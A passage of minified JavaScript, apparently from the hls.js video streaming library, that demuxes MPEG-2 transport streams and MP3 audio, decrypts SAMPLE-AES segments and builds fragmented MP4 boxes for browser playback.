255===e[t]&&224==(224&e[t+1])&&0!=(6&e[t+1])},isHeader:function(e,t){return!!(t+1<e.length&&this.isHeaderPattern(e,t))},probe:function(e,t){if(t+1<e.length&&this.isHeaderPattern(e,t)){var r=this.parseHeader(e,t),i=4;r&&r.frameLength&&(i=r.frameLength);var n=t+i;if(n===e.length||n+1<e.length&&this.isHeaderPattern(e,n))return!0}return!1}},A=w,P=function(){function e(e){this.data=e,this.bytesAvailable=e.byteLength,this.word=0,this.bitsAvailable=0}var t=e.prototype;return t.loadWord=function(){var e=this.data,t=this.bytesAvailable,r=e.byteLength-t,i=new Uint8Array(4),n=Math.min(4,t);if(0===n)throw new Error("no bytes available");i.set(e.subarray(r,r+n)),this.word=new DataView(i.buffer).getUint32(0),this.bitsAvailable=8*n,this.bytesAvailable-=n},t.skipBits=function(e){var t;this.bitsAvailable>e?(this.word<<=e,this.bitsAvailable-=e):(e-=this.bitsAvailable,e-=(t=e>>3)>>3,this.bytesAvailable-=t,this.loadWord(),this.word<<=e,this.bitsAvailable-=e)},t.readBits=function(e){var t=Math.min(this.bitsAvailable,e),r=this.word>>>32-t;return e>32&&l.logger.error("Cannot read more than 32 bits at a time"),this.bitsAvailable-=t,this.bitsAvailable>0?this.word<<=t:this.bytesAvailable>0&&this.loadWord(),(t=e-t)>0&&this.bitsAvailable?r<<t|this.readBits(t):r},t.skipLZ=function(){var e;for(e=0;e<this.bitsAvailable;++e)if(0!=(this.word&2147483648>>>e))return this.word<<=e,this.bitsAvailable-=e,e;return this.loadWord(),e+this.skipLZ()},t.skipUEG=function(){this.skipBits(1+this.skipLZ())},t.skipEG=function(){this.skipBits(1+this.skipLZ())},t.readUEG=function(){var e=this.skipLZ();return this.readBits(e+1)-1},t.readEG=function(){var e=this.readUEG();return 1&e?1+e>>>1:-1*(e>>>1)},t.readBoolean=function(){return 1===this.readBits(1)},t.readUByte=function(){return this.readBits(8)},t.readUShort=function(){return this.readBits(16)},t.readUInt=function(){return this.readBits(32)},t.skipScalingList=function(e){var t,r=8,i=8;for(t=0;t<e;t++)0!==i&&(i=(r+this.readEG()+256)%256),r=0===i?r:i},t.readSPS=function(){var e,t,r,i,n,s,a,o=0,l=0,d=0,h=0,u=this.readUByte.bind(this),c=this.readBits.bind(this),f=this.readUEG.bind(this),g=this.readBoolean.bind(this),p=this.skipBits.bind(this),m=this.skipEG.bind(this),v=this.skipUEG.bind(this),_=this.skipScalingList.bind(this);if(u(),e=u(),c(5),p(3),u(),v(),100===e||110===e||122===e||244===e||44===e||83===e||86===e||118===e||128===e){var y=f();if(3===y&&p(1),v(),v(),p(1),g())for(s=3!==y?8:12,a=0;a<s;a++)g()&&_(a<6?16:64)}v();var E=f();if(0===E)f();else if(1===E)for(p(1),m(),m(),t=f(),a=0;a<t;a++)m();v(),p(1),r=f(),i=f(),0===(n=c(1))&&p(1),p(1),g()&&(o=f(),l=f(),d=f(),h=f());var b=[1,1];if(g()&&g())switch(u()){case 1:b=[1,1];break;case 2:b=[12,11];break;case 3:b=[10,11];break;case 4:b=[16,11];break;case 5:b=[40,33];break;case 6:b=[24,11];break;case 7:b=[20,11];break;case 8:b=[32,11];break;case 9:b=[80,33];break;case 10:b=[18,11];break;case 11:b=[15,11];break;case 12:b=[64,33];break;case 13:b=[160,99];break;case 14:b=[4,3];break;case 15:b=[3,2];break;case 16:b=[2,1];break;case 255:b=[u()<<8|u(),u()<<8|u()]}return{width:Math.ceil(16*(r+1)-2*o-2*l),height:(2-n)*(i+1)*16-(n?2:4)*(d+h),pixelRatio:b}},t.readSliceType=function(){return this.readUByte(),this.readUEG(),this.readUEG()},e}(),L=function(){function e(e,t,r,i){this.decryptdata=r,this.discardEPB=i,this.decrypter=new u(e,t,{removePKCS7Padding:!1})}var t=e.prototype;return t.decryptBuffer=function(e,t){this.decrypter.decrypt(e,this.decryptdata.key.buffer,this.decryptdata.iv.buffer,t)},t.decryptAacSample=function(e,t,r,i){var n=e[t].unit,s=n.subarray(16,n.length-n.length%16),a=s.buffer.slice(s.byteOffset,s.byteOffset+s.length),o=this;this.decryptBuffer(a,(function(s){s=new Uint8Array(s),n.set(s,16),i||o.decryptAacSamples(e,t+1,r)}))},t.decryptAacSamples=function(e,t,r){for(;;t++){if(t>=e.length)return void r();if(!(e[t].unit.length<32)){var i=this.decrypter.isSync();if(this.decryptAacSample(e,t,r,i),!i)return}}},t.getAvcEncryptedData=function(e){for(var t=16*Math.floor((e.length-48)/160)+16,r=new Int8Array(t),i=0,n=32;n<=e.length-16;n+=160,i+=16)r.set(e.subarray(n,n+16),i);return r},t.getAvcDecryptedUnit=function(e,t){t=new Uint8Array(t);for(var r=0,i=32;i<=e.length-16;i+=160,r+=16)e.set(t.subarray(r,r+16),i);return e},t.decryptAvcSample=function(e,t,r,i,n,s){var a=this.discardEPB(n.data),o=this.getAvcEncryptedData(a),l=this;this.decryptBuffer(o.buffer,(function(o){n.data=l.getAvcDecryptedUnit(a,o),s||l.decryptAvcSamples(e,t,r+1,i)}))},t.decryptAvcSamples=function(e,t,r,i){for(;;t++,r=0){if(t>=e.length)return void i();for(var n=e[t].units;!(r>=n.length);r++){var s=n[r];if(!(s.data.length<=48||1!==s.type&&5!==s.type)){var a=this.decrypter.isSync();if(this.decryptAvcSample(e,t,r,i,s,a),!a)return}}}},e}(),R={video:1,audio:2,id3:3,text:4},I=function(){function e(e,t,r,i){this.observer=e,this.config=r,this.typeSupported=i,this.remuxer=t,this.sampleAes=null,this.pmtUnknownTypes={}}var t=e.prototype;return t.setDecryptData=function(e){null!=e&&null!=e.key&&"SAMPLE-AES"===e.method?this.sampleAes=new L(this.observer,this.config,e,this.discardEPB):this.sampleAes=null},e.probe=function(t){var r=e._syncOffset(t);return!(r<0||(r&&l.logger.warn("MPEG2-TS detected but first sync word found @ offset "+r+", junk ahead ?"),0))},e._syncOffset=function(e){for(var t=Math.min(1e3,e.length-564),r=0;r<t;){if(71===e[r]&&71===e[r+188]&&71===e[r+376])return r;r++}return-1},e.createTrack=function(e,t){return{container:"video"===e||"audio"===e?"video/mp2t":void 0,type:e,id:R[e],pid:-1,inputTimeScale:9e4,sequenceNumber:0,samples:[],dropped:"video"===e?0:void 0,isAAC:"audio"===e||void 0,duration:"audio"===e?t:void 0}},t.resetInitSegment=function(t,r,i,n){this.pmtParsed=!1,this._pmtId=-1,this.pmtUnknownTypes={},this._avcTrack=e.createTrack("video",n),this._audioTrack=e.createTrack("audio",n),this._id3Track=e.createTrack("id3",n),this._txtTrack=e.createTrack("text",n),this.aacOverFlow=null,this.aacLastPTS=null,this.avcSample=null,this.audioCodec=r,this.videoCodec=i,this._duration=n},t.resetTimeStamp=function(){},t.append=function(t,r,s,a){var o,d,h,u,c,f=t.length,g=!1;this.pmtUnknownTypes={},this.contiguous=s;var p=this.pmtParsed,m=this._avcTrack,v=this._audioTrack,_=this._id3Track,y=m.pid,E=v.pid,b=_.pid,S=this._pmtId,T=m.pesData,w=v.pesData,A=_.pesData,P=this._parsePAT,L=this._parsePMT.bind(this),R=this._parsePES,I=this._parseAVCPES.bind(this),D=this._parseAACPES.bind(this),C=this._parseMPEGPES.bind(this),k=this._parseID3PES.bind(this),x=e._syncOffset(t);for(f-=(f+x)%188,o=x;o<f;o+=188)if(71===t[o]){if(d=!!(64&t[o+1]),h=((31&t[o+1])<<8)+t[o+2],(48&t[o+3])>>4>1){if((u=o+5+t[o+4])===o+188)continue}else u=o+4;switch(h){case y:d&&(T&&(c=R(T))&&I(c,!1),T={data:[],size:0}),T&&(T.data.push(t.subarray(u,o+188)),T.size+=o+188-u);break;case E:d&&(w&&(c=R(w))&&(v.isAAC?D(c):C(c)),w={data:[],size:0}),w&&(w.data.push(t.subarray(u,o+188)),w.size+=o+188-u);break;case b:d&&(A&&(c=R(A))&&k(c),A={data:[],size:0}),A&&(A.data.push(t.subarray(u,o+188)),A.size+=o+188-u);break;case 0:d&&(u+=t[u]+1),S=this._pmtId=P(t,u);break;case S:d&&(u+=t[u]+1);var O=L(t,u,!0===this.typeSupported.mpeg||!0===this.typeSupported.mp3,null!=this.sampleAes);(y=O.avc)>0&&(m.pid=y),(E=O.audio)>0&&(v.pid=E,v.isAAC=O.isAAC),(b=O.id3)>0&&(_.pid=b),g&&!p&&(l.logger.log("reparse from beginning"),g=!1,o=x-188),p=this.pmtParsed=!0;break;case 17:case 8191:break;default:g=!0}}else this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!1,reason:"TS packet did not start with 0x47"});T&&(c=R(T))?(I(c,!0),m.pesData=null):m.pesData=T,w&&(c=R(w))?(v.isAAC?D(c):C(c),v.pesData=null):(w&&w.size&&l.logger.log("last AAC PES packet truncated,might overlap between fragments"),v.pesData=w),A&&(c=R(A))?(k(c),_.pesData=null):_.pesData=A,null==this.sampleAes?this.remuxer.remux(v,m,_,this._txtTrack,r,s,a):this.decryptAndRemux(v,m,_,this._txtTrack,r,s,a)},t.decryptAndRemux=function(e,t,r,i,n,s,a){if(e.samples&&e.isAAC){var o=this;this.sampleAes.decryptAacSamples(e.samples,0,(function(){o.decryptAndRemuxAvc(e,t,r,i,n,s,a)}))}else this.decryptAndRemuxAvc(e,t,r,i,n,s,a)},t.decryptAndRemuxAvc=function(e,t,r,i,n,s,a){if(t.samples){var o=this;this.sampleAes.decryptAvcSamples(t.samples,0,0,(function(){o.remuxer.remux(e,t,r,i,n,s,a)}))}else this.remuxer.remux(e,t,r,i,n,s,a)},t.destroy=function(){this._initPTS=this._initDTS=void 0,this._duration=0},t._parsePAT=function(e,t){return(31&e[t+10])<<8|e[t+11]},t._trackUnknownPmt=function(e,t,r){var i=this.pmtUnknownTypes[e]||0;return 0===i&&(this.pmtUnknownTypes[e]=0,t.call(l.logger,r)),this.pmtUnknownTypes[e]++,i},t._parsePMT=function(e,t,r,i){var n,s,a={audio:-1,avc:-1,id3:-1,isAAC:!0};for(n=t+3+((15&e[t+1])<<8|e[t+2])-4,t+=12+((15&e[t+10])<<8|e[t+11]);t<n;){switch(s=(31&e[t+1])<<8|e[t+2],e[t]){case 207:if(!i){this._trackUnknownPmt(e[t],l.logger.warn,"ADTS AAC with AES-128-CBC frame encryption found in unencrypted stream");break}case 15:-1===a.audio&&(a.audio=s);break;case 21:-1===a.id3&&(a.id3=s);break;case 219:if(!i){this._trackUnknownPmt(e[t],l.logger.warn,"H.264 with AES-128-CBC slice encryption found in unencrypted stream");break}case 27:-1===a.avc&&(a.avc=s);break;case 3:case 4:r?-1===a.audio&&(a.audio=s,a.isAAC=!1):this._trackUnknownPmt(e[t],l.logger.warn,"MPEG audio found, not supported in this browser");break;case 36:this._trackUnknownPmt(e[t],l.logger.warn,"Unsupported HEVC stream type found");break;default:this._trackUnknownPmt(e[t],l.logger.log,"Unknown stream type:"+e[t])}t+=5+((15&e[t+3])<<8|e[t+4])}return a},t._parsePES=function(e){var t,r,i,n,s,a,o,d,h=0,u=e.data;if(!e||0===e.size)return null;for(;u[0].length<19&&u.length>1;){var c=new Uint8Array(u[0].length+u[1].length);c.set(u[0]),c.set(u[1],u[0].length),u[0]=c,u.splice(1,1)}if(1===((t=u[0])[0]<<16)+(t[1]<<8)+t[2]){if((i=(t[4]<<8)+t[5])&&i>e.size-6)return null;if(192&(r=t[7])&&(a=536870912*(14&t[9])+4194304*(255&t[10])+16384*(254&t[11])+128*(255&t[12])+(254&t[13])/2,64&r?a-(o=536870912*(14&t[14])+4194304*(255&t[15])+16384*(254&t[16])+128*(255&t[17])+(254&t[18])/2)>54e5&&(l.logger.warn(Math.round((a-o)/9e4)+"s delta between PTS and DTS, align them"),a=o):o=a),d=(n=t[8])+9,e.size<=d)return null;e.size-=d,s=new Uint8Array(e.size);for(var f=0,g=u.length;f<g;f++){var p=(t=u[f]).byteLength;if(d){if(d>p){d-=p;continue}t=t.subarray(d),p-=d,d=0}s.set(t,h),h+=p}return i&&(i-=n+3),{data:s,pts:a,dts:o,len:i}}return null},t.pushAccesUnit=function(e,t){if(e.units.length&&e.frame){var r=t.samples,i=r.length;if(isNaN(e.pts)){if(!i)return void t.dropped++;var n=r[i-1];e.pts=n.pts,e.dts=n.dts}!this.config.forceKeyFrameOnDiscontinuity||!0===e.key||t.sps&&(i||this.contiguous)?(e.id=i,r.push(e)):t.dropped++}e.debug.length&&l.logger.log(e.pts+"/"+e.dts+":"+e.debug)},t._parseAVCPES=function(e,t){var r,i,n,s=this,a=this._avcTrack,o=this._parseAVCNALu(e.data),l=this.avcSample,d=!1,h=this.pushAccesUnit.bind(this),u=function(e,t,r,i){return{key:e,pts:t,dts:r,units:[],debug:i}};e.data=null,l&&o.length&&!a.audFound&&(h(l,a),l=this.avcSample=u(!1,e.pts,e.dts,"")),o.forEach((function(t){switch(t.type){case 1:i=!0,l||(l=s.avcSample=u(!0,e.pts,e.dts,"")),l.frame=!0;var o=t.data;if(d&&o.length>4){var c=new P(o).readSliceType();2!==c&&4!==c&&7!==c&&9!==c||(l.key=!0)}break;case 5:i=!0,l||(l=s.avcSample=u(!0,e.pts,e.dts,"")),l.key=!0,l.frame=!0;break;case 6:i=!0,(r=new P(s.discardEPB(t.data))).readUByte();for(var f=0,g=0,p=!1,m=0;!p&&r.bytesAvailable>1;){f=0;do{f+=m=r.readUByte()}while(255===m);g=0;do{g+=m=r.readUByte()}while(255===m);if(4===f&&0!==r.bytesAvailable){if(p=!0,181===r.readUByte()&&49===r.readUShort()&&1195456820===r.readUInt()&&3===r.readUByte()){var v=r.readUByte(),_=31&v,y=[v,r.readUByte()];for(n=0;n<_;n++)y.push(r.readUByte()),y.push(r.readUByte()),y.push(r.readUByte());s._insertSampleInOrder(s._txtTrack.samples,{type:3,pts:e.pts,bytes:y})}}else if(5===f&&0!==r.bytesAvailable){if(p=!0,g>16){var E=[];for(n=0;n<16;n++)E.push(r.readUByte().toString(16)),3!==n&&5!==n&&7!==n&&9!==n||E.push("-");var S=g-16,T=new Uint8Array(S);for(n=0;n<S;n++)T[n]=r.readUByte();s._insertSampleInOrder(s._txtTrack.samples,{pts:e.pts,payloadType:f,uuid:E.join(""),userDataBytes:T,userData:Object(b.utf8ArrayToStr)(T.buffer)})}}else if(g<r.bytesAvailable)for(n=0;n<g;n++)r.readUByte()}break;case 7:if(i=!0,d=!0,!a.sps){var w=(r=new P(t.data)).readSPS();a.width=w.width,a.height=w.height,a.pixelRatio=w.pixelRatio,a.sps=[t.data],a.duration=s._duration;var A=t.data.subarray(1,4),L="avc1.";for(n=0;n<3;n++){var R=A[n].toString(16);R.length<2&&(R="0"+R),L+=R}a.codec=L}break;case 8:i=!0,a.pps||(a.pps=[t.data]);break;case 9:i=!1,a.audFound=!0,l&&h(l,a),l=s.avcSample=u(!1,e.pts,e.dts,"");break;case 12:i=!1;break;default:i=!1,l&&(l.debug+="unknown NAL "+t.type+" ")}l&&i&&l.units.push(t)})),t&&l&&(h(l,a),this.avcSample=null)},t._insertSampleInOrder=function(e,t){var r=e.length;if(r>0){if(t.pts>=e[r-1].pts)e.push(t);else for(var i=r-1;i>=0;i--)if(t.pts<e[i].pts){e.splice(i,0,t);break}}else e.push(t)},t._getLastNalUnit=function(){var e,t=this.avcSample;if(!t||0===t.units.length){var r=this._avcTrack.samples;t=r[r.length-1]}if(t){var i=t.units;e=i[i.length-1]}return e},t._parseAVCNALu=function(e){var t,r,i,n,s=0,a=e.byteLength,o=this._avcTrack,l=o.naluState||0,d=l,h=[],u=-1;for(-1===l&&(u=0,n=31&e[0],l=0,s=1);s<a;)if(t=e[s++],l)if(1!==l)if(t)if(1===t){if(u>=0)i={data:e.subarray(u,s-l-1),type:n},h.push(i);else{var c=this._getLastNalUnit();if(c&&(d&&s<=4-d&&c.state&&(c.data=c.data.subarray(0,c.data.byteLength-d)),(r=s-l-1)>0)){var f=new Uint8Array(c.data.byteLength+r);f.set(c.data,0),f.set(e.subarray(0,r),c.data.byteLength),c.data=f}}s<a?(u=s,n=31&e[s],l=0):l=-1}else l=0;else l=3;else l=t?0:2;else l=t?0:1;if(u>=0&&l>=0&&(i={data:e.subarray(u,a),type:n,state:l},h.push(i)),0===h.length){var g=this._getLastNalUnit();if(g){var p=new Uint8Array(g.data.byteLength+e.byteLength);p.set(g.data,0),p.set(e,g.data.byteLength),g.data=p}}return o.naluState=l,h},t.discardEPB=function(e){for(var t,r,i=e.byteLength,n=[],s=1;s<i-2;)0===e[s]&&0===e[s+1]&&3===e[s+2]?(n.push(s+2),s+=2):s++;if(0===n.length)return e;t=i-n.length,r=new Uint8Array(t);var a=0;for(s=0;s<t;a++,s++)a===n[0]&&(a++,n.shift()),r[s]=e[a];return r},t._parseAACPES=function(e){var t,r,s,a,o,d,h,u=this._audioTrack,c=e.data,f=e.pts,g=this.aacOverFlow,p=this.aacLastPTS;if(g){var v=new Uint8Array(g.byteLength+c.byteLength);v.set(g,0),v.set(c,g.byteLength),c=v}for(s=0,o=c.length;s<o-1&&!m(c,s);s++);if(!s||(s<o-1?(d="AAC PES did not start with ADTS header,offset:"+s,h=!1):(d="no ADTS header found in AAC PES",h=!0),l.logger.warn("parsing error:"+d),this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:h,reason:d}),!h)){if(_(u,this.observer,c,s,this.audioCodec),r=0,t=y(u.samplerate),g&&p){var b=p+t;Math.abs(b-f)>1&&(l.logger.log("AAC: align PTS for overlapping frames by "+Math.round((b-f)/90)),f=b)}for(;s<o;){if(m(c,s)){if(s+5<o){var S=E(u,c,s,f,r);if(S){s+=S.length,a=S.sample.pts,r++;continue}}break}s++}g=s<o?c.subarray(s,o):null,this.aacOverFlow=g,this.aacLastPTS=a}},t._parseMPEGPES=function(e){for(var t=e.data,r=t.length,i=0,n=0,s=e.pts;n<r;)if(A.isHeader(t,n)){var a=A.appendFrame(this._audioTrack,t,n,s,i);if(!a)break;n+=a.length,i++}else n++},t._parseID3PES=function(e){this._id3Track.samples.push(e)},e}(),D=function(){function e(e,t,r){this.observer=e,this.config=r,this.remuxer=t}var t=e.prototype;return t.resetInitSegment=function(e,t,r,i){this._audioTrack={container:"audio/mpeg",type:"audio",id:-1,sequenceNumber:0,isAAC:!1,samples:[],len:0,manifestCodec:t,duration:i,inputTimeScale:9e4}},t.resetTimeStamp=function(){},e.probe=function(e){var t,r,i=b.default.getID3Data(e,0);if(i&&void 0!==b.default.getTimeStamp(i))for(t=i.length,r=Math.min(e.length-1,t+100);t<r;t++)if(A.probe(e,t))return l.logger.log("MPEG Audio sync word found !"),!0;return!1},t.append=function(e,t,r,i){for(var n=b.default.getID3Data(e,0)||[],s=b.default.getTimeStamp(n),a=void 0!==s?90*s:9e4*t,o=n.length,l=e.length,d=0,h=0,u=this._audioTrack,c=[{pts:a,dts:a,data:n}];o<l;)if(A.isHeader(e,o)){var f=A.appendFrame(u,e,o,a,d);if(!f)break;o+=f.length,h=f.sample.pts,d++}else b.default.isHeader(e,o)?(n=b.default.getID3Data(e,o),c.push({pts:h,dts:h,data:n}),o+=n.length):o++;this.remuxer.remux(u,{samples:[]},{samples:c,inputTimeScale:9e4},{samples:[]},t,r,i)},t.destroy=function(){},e}(),C=function(){function e(){}return e.getSilentFrame=function(e,t){if("mp4a.40.2"===e){if(1===t)return new Uint8Array([0,200,0,128,35,128]);if(2===t)return new Uint8Array([33,0,73,144,2,25,0,35,128]);if(3===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,142]);if(4===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,128,44,128,8,2,56]);if(5===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,130,48,4,153,0,33,144,2,56]);if(6===t)return new Uint8Array([0,200,0,128,32,132,1,38,64,8,100,0,130,48,4,153,0,33,144,2,0,178,0,32,8,224])}else{if(1===t)return new Uint8Array([1,64,34,128,163,78,230,128,186,8,0,0,0,28,6,241,193,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94]);if(2===t)return new Uint8Array([1,64,34,128,163,94,230,128,186,8,0,0,0,0,149,0,6,241,161,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94]);if(3===t)return new Uint8Array([1,64,34,128,163,94,230,128,186,8,0,0,0,0,149,0,6,241,161,10,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,90,94])}return null},e}(),k=Math.pow(2,32)-1,x=function(){function e(){}return e.init=function(){var t;for(t in e.types={avc1:[],avcC:[],btrt:[],dinf:[],dref:[],esds:[],ftyp:[],hdlr:[],mdat:[],mdhd:[],mdia:[],mfhd:[],minf:[],moof:[],moov:[],mp4a:[],".mp3":[],mvex:[],mvhd:[],pasp:[],sdtp:[],stbl:[],stco:[],stsc:[],stsd:[],stsz:[],stts:[],tfdt:[],tfhd:[],traf:[],trak:[],trun:[],trex:[],tkhd:[],vmhd:[],smhd:[]},e.types)e.types.hasOwnProperty(t)&&(e.types[t]=[t.charCodeAt(0),t.charCodeAt(1),t.charCodeAt(2),t.charCodeAt(3)]);var r=new Uint8Array([0,0,0,0,0,0,0,0,118,105,100,101,0,0,0,0,0,0,0,0,0,0,0,0,86,105,100,101,111,72,97,110,100,108,101,114,0]),i=new Uint8Array([0,0,0,0,0,0,0,0,115,111,117,110,0,0,0,0,0,0,0,0,0,0,0,0,83,111,117,110,100,72,97,110,100,108,101,114,0]);e.HDLR_TYPES={video:r,audio:i};var n=new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,12,117,114,108,32,0,0,0,1]),s=new Uint8Array([0,0,0,0,0,0,0,0]);e.STTS=e.STSC=e.STCO=s,e.STSZ=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0]),e.VMHD=new Uint8Array([0,0,0,1,0,0,0,0,0,0,0,0]),e.SMHD=new Uint8Array([0,0,0,0,0,0,0,0]),e.STSD=new Uint8Array([0,0,0,0,0,0,0,1]);var a=new Uint8Array([105,115,111,109]),o=new Uint8Array([97,118,99,49]),l=new Uint8Array([0,0,0,1]);e.FTYP=e.box(e.types.ftyp,a,l,a,o),e.DINF=e.box(e.types.dinf,e.box(e.types.dref,n))},e.box=function(e){for(var t,r=Array.prototype.slice.call(arguments,1),i=8,n=r.length,s=n;n--;)i+=r[n].byteLength;for((t=new Uint8Array(i))[0]=i>>24&255,t[1]=i>>16&255,t[2]=i>>8&255,t[3]=255&i,t.set(e,4),n=0,i=8;n<s;n++)t.set(r[n],i),i+=r[n].byteLength;return t},e.hdlr=function(t){return e.box(e.types.hdlr,e.HDLR_TYPES[t])},e.mdat=function(t){return e.box(e.types.mdat,t)},e.mdhd=function(t,r){r*=t;var i=Math.floor(r/(k+1)),n=Math.floor(r%(k+1));return e.box(e.types.mdhd,new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,3,t>>24&255,t>>16&255,t>>8&255,255&t,i>>24,i>>16&255,i>>8&255,255&i,n>>24,n>>16&255,n>>8&255,255&n,85,196,0,0]))},e.mdia=function(t){return e.box(e.types.mdia,e.mdhd(t.timescale,t.duration),e.hdlr(t.type),e.minf(t))},e.mfhd=function(t){return e.box(e.types.mfhd,new Uint8Array([0,0,0,0,t>>24,t>>16&255,t>>8&255,255&t]))},e.minf=function(t){return"audio"===t.type?e.box(e.types.minf,e.box(e.types.smhd,e.SMHD),e.DINF,e.stbl(t)):e.box(e.types.minf,e.box(e.types.vmhd,e.VMHD),e.DINF,e.stbl(t))},e.moof=function(t,r,i){return e.box(e.types.moof,e.mfhd(t),e.traf(i,r))},e.moov=function(t){for(var r=t.length,i=[];r--;)i[r]=e.trak(t[r]);return e.box.apply(null,[e.types.moov,e.mvhd(t[0].timescale,t[0].duration)].concat(i).concat(e.mvex(t)))},e.mvex=function(t){for(var r=t.length,i=[];r--;)i[r]=e.trex(t[r]);return e.box.apply(null,[e.types.mvex].concat(i))},e.mvhd=function(t,r){r*=t;var i=Math.floor(r/(k+1)),n=Math.floor(r%(k+1)),s=new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,3,t>>24&255,t>>16&255,t>>8&255,255&t,i>>24,i>>16&255,i>>8&255,255&i,n>>24,n>>16&255,n>>8&255,255&n,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,255,255,255,255]);return e.box(e.types.mvhd,s)},e.sdtp=function(t){var r,i,n=t.samples||[],s=new Uint8Array(4+n.length);for(i=0;i<n.length;i++)r=n[i].flags,s[i+4]=r.dependsOn<<4|r.isDependedOn<<2|r.hasRedundancy;return e.box(e.types.sdtp,s)},e.stbl=function(t){return e.box(e.types.stbl,e.stsd(t),e.box(e.types.stts,e.STTS),e.box(e.types.stsc,e.STSC),e.box(e.types.stsz,e.STSZ),e.box(e.types.stco,e.STCO))},e.avc1=function(t){var r,i,n,s=[],a=[];for(r=0;r<t.sps.length;r++)n=(i=t.sps[r]).byteLength,s.push(n>>>8&255),s.push(255&n),s=s.concat(Array.prototype.slice.call(i));for(r=0;r<t.pps.length;r++)n=(i=t.pps[r]).byteLength,a.push(n>>>8&255),a.push(255&n),a=a.concat(Array.prototype.slice.call(i));var o=e.box(e.types.avcC,new Uint8Array([1,s[3],s[4],s[5],255,224|t.sps.length].concat(s).concat([t.pps.length]).concat(a))),l=t.width,d=t.height,h=t.pixelRatio[0],u=t.pixelRatio[1];return e.box(e.types.avc1,new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,l>>8&255,255&l,d>>8&255,255&d,0,72,0,0,0,72,0,0,0,0,0,0,0,1,18,100,97,105,108,121,109,111,116,105,111,110,47,104,108,115,46,106,115,0,0,0,0,0,0,0,0,0,0,0,0,0,0,24,17,17]),o,e.box(e.types.btrt,new Uint8Array([0,28,156,128,0,45,198,192,0,45,198,192])),e.box(e.types.pasp,new Uint8Array([h>>24,h>>16&255,h>>8&255,255&h,u>>24,u>>16&255,u>>8&255,255&u])))},e.esds=function(e){var t=e.config.length;return new Uint8Array([0,0,0,0,3,23+t,0,1,0,4,15+t,64,21,0,0,0,0,0,0,0,0,0,0,0,5].concat([t]).concat(e.config).concat([6,1,2]))},e.mp4a=function(t){var r=t.samplerate;return e.box(e.types.mp4a,new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,t.channelCount,0,16,0,0,0,0,r>>8&255,255&r,0,0]),e.box(e.types.esds,e.esds(t)))},e.mp3=function(t){var r=t.samplerate;return e.box(e.types[".mp3"],new Uint8Array([0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,t.channelCount,0,16,0,0,0,0,r>>8&255,255&r,0,0]))},e.stsd=function(t){return"audio"===t.type?t.isAAC||"mp3"!==t.codec?e.box(e.types.stsd,e.STSD,e.mp4a(t)):e.box(e.types.stsd,e.STSD,e.mp3(t)):e.box(e.types.stsd,e.STSD,e.avc1(t))},e.tkhd=function(t){var r=t.id,i=t.duration*t.timescale,n=t.width,s=t.height,a=Math.floor(i/(k+1)),o=Math.floor(i%(k+1));return e.box(e.types.tkhd,new Uint8Array([1,0,0,7,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,3,r>>24&255,r>>16&255,r>>8&255,255&r,0,0,0,0,a>>24,a>>16&255,a>>8&255,255&a,o>>24,o>>16&255,o>>8&255,255&o,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,0,n>>8&255,255&n,0,0,s>>8&255,255&s,0,0]))},e.traf=function(t,r){var i=e.sdtp(t),n=t.id,s=Math.floor(r/(k+1)),a=Math.floor(r%(k+1));return e.box(e.types.traf,e.box(e.types.tfhd,new Uint8Array([0,0,0,0,n>>24,n>>16&255,n>>8&255,255&n])),e.box(e.types.tfdt,new Uint8Array([1,0,0,0,s>>24,s>>16&255,s>>8&255,255&s,a>>24,a>>16&255,a>>8&255,255&a])),e.trun(t,i.length+16+20+8+16+8+8),i)},e.trak=function(t){return t.duration=t.duration||4294967295,e.box(e.types.trak,e.tkhd(t),e.mdia(t))},e.trex=function(t){var r=t.id;return e.box(e.types.trex,new Uint8Array([0,0,0,0,r>>24,r>>16&255,r>>8&255,255&r,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1]))},e.trun=function(t,r){var i,n,s,a,o,l,d=t.samples||[],h=d.length,u=12+16*h,c=new Uint8Array(u);for(r+=8+u,c.set([0,0,15,1,h>>>24&255,h>>>16&255,h>>>8&255,255&h,r>>>24&255,r>>>16&255,r>>>8&255,255&r],0),i=0;i<h;i++)s=(n=d[i]).duration,a=n.size,o=n.flags,l=n.cts,c.set([s>>>24&255,s>>>16&255,s>>>8&255,255&s,a>>>24&255,a>>>16&255,a>>>8&255,255&a,o.isLeading<<2|o.dependsOn,o.isDependedOn<<6|o.hasRedundancy<<4|o.paddingValue<<1|o.isNonSync,61440&o.degradPrio,15&o.degradPrio,l>>>24&255,l>>>16&255,l>>>8&255,255&l],12+16*i);return e.box(e.types.trun,c)},e.initSegment=function(t){e.types||e.init();var 